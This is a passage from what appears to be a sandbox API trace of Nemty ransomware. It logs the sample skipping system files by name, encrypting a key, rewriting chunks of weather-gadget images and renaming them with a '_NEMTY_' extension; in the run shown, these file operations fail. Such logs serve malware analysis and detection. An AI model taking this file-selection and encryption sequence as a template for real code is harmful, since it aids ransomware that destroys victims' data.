[0165.956] lstrcmpiW (lpString1="undocked_black_moon-first-quarter_partly-cloudy.png", lpString2="$RECYCLE.BIN") returned 1 [0165.956] lstrcmpiW (lpString1="undocked_black_moon-first-quarter_partly-cloudy.png", lpString2="rsa") returned 1 [0165.956] lstrcmpiW (lpString1="undocked_black_moon-first-quarter_partly-cloudy.png", lpString2="NTDETECT.COM") returned 1 [0165.956] lstrcmpiW (lpString1="undocked_black_moon-first-quarter_partly-cloudy.png", lpString2="ntldr") returned 1 [0165.956] lstrcmpiW (lpString1="undocked_black_moon-first-quarter_partly-cloudy.png", lpString2="MSDOS.SYS") returned 1 [0165.956] lstrcmpiW (lpString1="undocked_black_moon-first-quarter_partly-cloudy.png", lpString2="IO.SYS") returned 1 [0165.956] lstrcmpiW (lpString1="undocked_black_moon-first-quarter_partly-cloudy.png", lpString2="boot.ini") returned 1 [0165.956] lstrcmpiW (lpString1="undocked_black_moon-first-quarter_partly-cloudy.png", lpString2="boot.ini") returned 1 [0165.956] lstrcmpiW (lpString1="undocked_black_moon-first-quarter_partly-cloudy.png", lpString2="AUTOEXEC.BAT") returned 1 [0165.956] lstrcmpiW (lpString1="undocked_black_moon-first-quarter_partly-cloudy.png", lpString2="ntuser.dat") returned 1 [0165.956] lstrcmpiW (lpString1="undocked_black_moon-first-quarter_partly-cloudy.png", lpString2="desktop.ini") returned 1 [0165.956] lstrcmpiW (lpString1="undocked_black_moon-first-quarter_partly-cloudy.png", lpString2="CONFIG.SYS") returned 1 [0165.956] lstrcmpiW (lpString1="undocked_black_moon-first-quarter_partly-cloudy.png", lpString2="RECYCLER") returned 1 [0165.956] lstrcmpiW (lpString1="undocked_black_moon-first-quarter_partly-cloudy.png", lpString2="BOOTSECT.BAK") returned 1 [0165.956] lstrcmpiW (lpString1="undocked_black_moon-first-quarter_partly-cloudy.png", lpString2="bootmgr") returned 1 [0165.956] lstrcmpiW (lpString1="undocked_black_moon-first-quarter_partly-cloudy.png", lpString2="programdata") returned 1 [0165.956] lstrcmpiW (lpString1="undocked_black_moon-first-quarter_partly-cloudy.png", lpString2="appdata") returned 1 [0165.956] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x63400d0 [0165.956] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="undocked_black_moon-first-quarter_partly-cloudy.png", cchWideChar=51, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 51 [0165.956] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0165.956] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="undocked_black_moon-first-quarter_partly-cloudy.png", cchWideChar=51, lpMultiByteStr=0x6345da8, cbMultiByte=51, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="undocked_black_moon-first-quarter_partly-cloudy.png", lpUsedDefaultChar=0x0) returned 51 [0165.956] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0165.956] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x6340260 [0165.956] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="undocked_black_moon-first-quarter_partly-cloudy.png", cchWideChar=51, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 51 [0165.956] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0165.956] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="undocked_black_moon-first-quarter_partly-cloudy.png", cchWideChar=51, lpMultiByteStr=0x6345da8, cbMultiByte=51, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="undocked_black_moon-first-quarter_partly-cloudy.png", lpUsedDefaultChar=0x0) returned 51 [0165.956] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0165.956] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0165.956] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400d0 | out: hHeap=0x4f90000) returned 1 [0165.956] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x63400d0 [0165.956] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="undocked_black_moon-first-quarter_partly-cloudy.png", cchWideChar=51, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 51 [0165.956] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0165.956] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="undocked_black_moon-first-quarter_partly-cloudy.png", cchWideChar=51, lpMultiByteStr=0x6345da8, cbMultiByte=51, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="undocked_black_moon-first-quarter_partly-cloudy.png", lpUsedDefaultChar=0x0) returned 51 [0165.956] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400d0 | out: hHeap=0x4f90000) returned 1 [0165.957] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x63400d0 [0165.957] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="undocked_black_moon-first-quarter_partly-cloudy.png", cchWideChar=51, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 51 [0165.957] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345d60 [0165.957] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="undocked_black_moon-first-quarter_partly-cloudy.png", cchWideChar=51, lpMultiByteStr=0x6345d60, cbMultiByte=51, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="undocked_black_moon-first-quarter_partly-cloudy.png", lpUsedDefaultChar=0x0) returned 51 [0165.957] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400d0 | out: hHeap=0x4f90000) returned 1 [0165.957] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xf0) returned 0x6340260 [0165.957] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340188 | out: hHeap=0x4f90000) returned 1 [0165.957] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xf0) returned 0x63400d0 [0165.957] Sleep (dwMilliseconds=0x5) [0165.966] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x16920950, dwHighDateTime=0x1d561e8)) [0165.966] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x16920950, dwHighDateTime=0x1d561e8)) [0165.966] GetLastError () returned 0x5 [0165.966] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345df0 [0165.966] GetLastError () returned 0x5 [0165.966] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0165.966] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345df0 | out: hHeap=0x4f90000) returned 1 [0165.966] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0165.966] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0165.966] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0165.967] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0165.967] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340358 [0165.967] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340358, pcchString=0x653e91c | out: pszString="p1/aZoZ3A7ncoAYbkQxvrNIQYTvKxlcpZormqoeDWE/IMRMM+Ktk7pkLO2P2e2mk\r\ngV2t3vvQTHXogfvh1WQ1T8A9vE/vsPJAV6jtDQrrJ0NzulRtGfafyoosiwjug9wL\r\nk4V0gYxf15oB9L8r0PHsq6H/3r+zNKDEPKKItWb2VGYfDDJZEp+jIeZe0b6dEqYB\r\n49GvIJcRwFKUga+klxywmRth3Qt2Ih5QV+ySoUr3RI+xWLOrTrxTWDq1Rxxg0zQX\r\nnvcoI/BAO10sqSFdrS7OASDbK2NZIxtbs6+pdLAoT3Eb8sXth0CwViFlEADehKcp\r\nJ7orROXnpp5xoaurcPsMQA==\r\n", pcchString=0x653e91c) returned 1 [0165.967] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0165.967] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340358 | out: hHeap=0x4f90000) returned 1 [0165.967] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0165.967] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0165.967] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340358 [0165.967] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0165.967] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\undocked_black_moon-first-quarter_partly-cloudy.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\undocked_black_moon-first-quarter_partly-cloudy.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0165.968] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0165.968] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0165.968] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0165.968] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0165.977] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0165.977] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0165.977] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0165.977] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0165.986] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0165.986] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0165.986] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0165.986] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0165.996] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0165.996] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0165.996] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0165.996] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0166.005] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0166.005] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0166.005] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0166.005] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0166.014] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0166.015] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0166.015] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0166.015] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0166.024] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0166.024] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0166.024] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0166.024] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0166.033] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0166.033] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0166.033] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0166.033] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0166.042] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0166.042] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0166.042] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0166.043] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0166.053] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0166.053] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0166.053] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0166.053] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0166.062] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0166.062] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0166.062] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0166.062] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0166.068] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0166.068] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0166.068] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0166.069] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0166.074] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0166.074] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0166.074] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0166.075] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340358, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0166.075] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0166.075] CloseHandle (hObject=0xffffffff) returned 0 [0166.075] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xf0) returned 0x63404c8 [0166.075] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0166.075] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0166.075] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0166.075] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0166.075] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0166.075] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xf0) returned 0x6343fe8 [0166.075] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x166) returned 0x63440e0 [0166.075] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0166.075] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0166.075] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\undocked_black_moon-first-quarter_partly-cloudy.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\undocked_black_moon-first-quarter_partly-cloudy.png"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\undocked_black_moon-first-quarter_partly-cloudy.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\undocked_black_moon-first-quarter_partly-cloudy.png._nemty_kgobjgd_")) returned 0 [0166.075] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63440e0 | out: hHeap=0x4f90000) returned 1 [0166.075] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404c8 | out: hHeap=0x4f90000) returned 1 [0166.075] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0166.075] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340358 | out: hHeap=0x4f90000) returned 1 [0166.075] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0166.075] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0166.075] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0166.075] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400d0 | out: hHeap=0x4f90000) returned 1 [0166.075] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345d60 | out: hHeap=0x4f90000) returned 1 [0166.075] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0166.075] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86d1df17, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x86d1df17, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x30d59f4b, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x4ee2, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="undocked_black_moon-full.png", cAlternateFileName="")) returned 1 [0166.075] lstrcmpiW (lpString1="undocked_black_moon-full.png", lpString2=".") returned 1 [0166.075] lstrcmpiW (lpString1="undocked_black_moon-full.png", lpString2="..") returned 1 [0166.075] lstrcmpiW (lpString1="undocked_black_moon-full.png", lpString2="...") returned 1 [0166.076] lstrcmpiW (lpString1="undocked_black_moon-full.png", lpString2="windows") returned -1 [0166.076] lstrcmpiW (lpString1="undocked_black_moon-full.png", lpString2="$RECYCLE.BIN") returned 1 [0166.076] lstrcmpiW (lpString1="undocked_black_moon-full.png", lpString2="rsa") returned 1 [0166.076] lstrcmpiW (lpString1="undocked_black_moon-full.png", lpString2="NTDETECT.COM") returned 1 [0166.076] lstrcmpiW (lpString1="undocked_black_moon-full.png", lpString2="ntldr") returned 1 [0166.076] lstrcmpiW (lpString1="undocked_black_moon-full.png", lpString2="MSDOS.SYS") returned 1 [0166.076] lstrcmpiW (lpString1="undocked_black_moon-full.png", lpString2="IO.SYS") returned 1 [0166.076] lstrcmpiW (lpString1="undocked_black_moon-full.png", lpString2="boot.ini") returned 1 [0166.076] lstrcmpiW (lpString1="undocked_black_moon-full.png", lpString2="boot.ini") returned 1 [0166.076] lstrcmpiW (lpString1="undocked_black_moon-full.png", lpString2="AUTOEXEC.BAT") returned 1 [0166.076] lstrcmpiW (lpString1="undocked_black_moon-full.png", lpString2="ntuser.dat") returned 1 [0166.076] lstrcmpiW (lpString1="undocked_black_moon-full.png", lpString2="desktop.ini") returned 1 [0166.076] lstrcmpiW (lpString1="undocked_black_moon-full.png", lpString2="CONFIG.SYS") returned 1 [0166.076] lstrcmpiW (lpString1="undocked_black_moon-full.png", lpString2="RECYCLER") returned 1 [0166.076] lstrcmpiW (lpString1="undocked_black_moon-full.png", lpString2="BOOTSECT.BAK") returned 1 [0166.076] lstrcmpiW (lpString1="undocked_black_moon-full.png", lpString2="bootmgr") returned 1 [0166.076] lstrcmpiW (lpString1="undocked_black_moon-full.png", lpString2="programdata") returned 1 [0166.076] lstrcmpiW (lpString1="undocked_black_moon-full.png", lpString2="appdata") returned 1 [0166.076] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0166.076] WideCharToMultiByte (in: 